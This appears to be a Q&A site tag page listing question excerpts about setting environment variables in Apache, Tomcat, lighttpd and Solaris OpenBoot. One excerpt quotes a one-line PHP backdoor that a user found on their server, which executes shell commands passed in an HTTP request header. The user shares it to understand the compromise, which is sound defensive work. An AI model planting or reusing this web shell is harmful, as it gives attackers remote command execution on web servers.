The tag has no wiki summary.

learn more… | top users | synonyms

1
vote
1answer
149 views

php htaccess environment variables php-fpm mod_proxy_fcgi apache 2.4

My .htaccess: SetEnv tvar "my value" RewriteEngine on RewriteRule .* - [E=boostpath:normal] My virtual host settings: AllowOverride All Options FollowSymLinks Require all granted ...
1
vote
0answers
838 views

Tomcat Memory - Setting in setenv.sh not respected

I have Tomcat 7.0.35 on CentOS. I have configured setenv.sh to have the following: export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xms128m -Xmx1024m -XX:PermSize=256m -XX:MaxPermSize=512m" However under ...
0
votes
0answers
58 views

Replace an existing environment variable in apache

I'm trying to change the value of Apache's built-in environment variable (eg. SERVER_ADDR), but neither of the following configurations has any effect: Setenv SERVER_ADDR 1.2.3.4 SetenvIf ...
0
votes
1answer
53 views

apache 2.2 and http auth. by country with mod_geoip

I'm using mod_geoip for filtr some traffic. So now I have e.g. this SetEnvIf GEOIP_COUNTRY_CODE FR AllowCountry <Locationmatch "/secure-by-country"> Deny from all Allow from env=AllowCountry ...
1
vote
1answer
441 views

Dynamic variable SetEnv vhost Ubuntu Apache2

I apologize if this question has already been asked. I am looking for a solution to make SetEnv use the %2 variable. Is that even possible? My vhost: <VirtualHost *:80> ServerName ...
0
votes
2answers
873 views

Using setenv in Apache (Windows) DocumentRoot

Stack trying to migrate a configuration from Linux to Windows Apache 2.2 (via WAMP) We are trying to set an ENV Apache variable to be used as DocumentRoot and rest of directives thereafter so we can ...
4
votes
2answers
232 views

OSX Server - How to set environment variable on network user login

I have a group of users on my server, "Developers", and I would like an environment variable to be set for them whenever they login. More specifically, when anyone in this group logs in, I would ...
0
votes
1answer
180 views

Solaris 10: OpenBoot setenv set-defaults

I was trying to change the default mountpoint for /usr in /etc/vfstab. I am running Solaris 10 on a Sun Fire 480R. Unfortunately, I made an error with editing the /etc/vfstab so I could no longer ...
0
votes
1answer
698 views

Changes in SetEnv directives not seen in scriptalias

I need to read an environment variable in a ScriptAlias script. So I have SetEnv directives to set these variables, in the following apache configuration. <VirtualHost *:80> ServerName ... ...
2
votes
1answer
206 views

How come value set by SetEnv can be changed by modifying headers in browser

I'm working with an Apache server setup where we want to use SetEnv in the vhost to define if the code is running in development, beta or production. The actual web application is running on ...
0
votes
1answer
306 views

Apache - test is SetEnv variable being loaded

Is there any way I can actually tell if a SetEnv variable is being loaded by Apache? I am trying to set: SetEnv proxy-sendchunked 1 However have no way in telling if it is actually being set. Is ...
1
vote
0answers
878 views

Is there if-then-else logic available for Apache environment variables?

I'm trying to set various types of mobile-specific configuration based on environment variables. The psudocode (psudoconfig) I was trying to do was something like: <if environment variable = ...
0
votes
2answers
1k views

Using Apache Environment Variables to set custom ErrorDocument

I've got a set of RewriteCond rules that test for various mobile devices and then set environment variables like "env=device:.iphone" or "env=device:.smartphone" if the useragent matches an iPhone or ...
2
votes
2answers
2k views

Blocking by user-agent string in httpd.conf not effective

I'd like to block some spiders and bad bots by user-agent text string for all of my virtual hosts via httpd.conf but have yet to find success. Below are the contents of my http.conf file. Any ideas ...
1
vote
1answer
215 views

PHP Backdoor code [closed]

I've found a php backdoor on my host. <? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?> I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that ...
0
votes
1answer
1k views

How can I use SetEnv with mod_fcgid to pass virtualhost specific options to my PHP application? (apache2)

I'm running into some trouble figuring out how I should handle something under FastCGI that worked pretty easily under mod_php. Before I was using SetEnv to pass options from my VirtualHost directive ...
3
votes
2answers
1k views

How do you use SetEnv to read variables in Apache?

I want to set an env variable that has the DOC_ROOT info but nothing SetEnv PROJECT_BASE %{ENV:DOC_ROOT} SetEnv LAYOUT_HOME %{ENV:PROJECT_BASE}"/html/app/wordpress/" and then be able to access ...
1
vote
1answer
417 views

Apache - htaccess - prepending a php file depending on the referer

So on an Apache bundled with PHP as a module, I want to prepend a file if referer is x. This is what I have so far: <IfModule mod_setenvif.c> SetEnvIf Referer ...
2
votes
1answer
1k views

How to remove response header in lighttpd configuration

There is mod_setenv for adding: setenv.add-response-header = ( "Header" => "value" ) But I can't find anything to remove response headers. I have to be sure, that my content is not cached by ...
-2
votes
2answers
708 views

setting apache environment variable

My hosting environment using Server version: Apache/2.2.14 (Unix) and I am modifying ./usr/local/apache/conf/httpd.conf to set environment variable and restarting the server . SetEnv XML-RPC-IPs ...
3
votes
1answer
1k views

Conditionally set an Apache environment variable

I would like to conditionally set the value of an Apache2 environment variable and assign a default value if one of the conditions is not met. This example if a simplification of what I'm trying to ...
1
vote
2answers
1k views

Apache2 - setting PERL5LIB via SetEnv under CGI

my setup is as follows: I have one Apache2 webserver running different vhosts, one vhost is for the production website, the other vhost is for a staging / preview system. Both vhosts have different ...
1
vote
3answers
740 views

Apache 2: Is Referer from current Host

I have an Apache 2 with mod_setenvif. My goal is to stop all hotlinking of images in my global apache.conf. Currently that's: <FilesMatch ".(gif|jpg|jpeg|png)$"> SetEnvIfNoCase Referer ...
0
votes
1answer
1k views

SetEnvIf problem on htaccess

I'm trying to get this running, SetEnvIf Host ^dev\. HOST_DEVELOPMENT SetEnvIf Host ^www\. HOST_PRODUCTION <IfDefine HOST_DEVELOPMENT> # e.g. php_flag display_errors on ...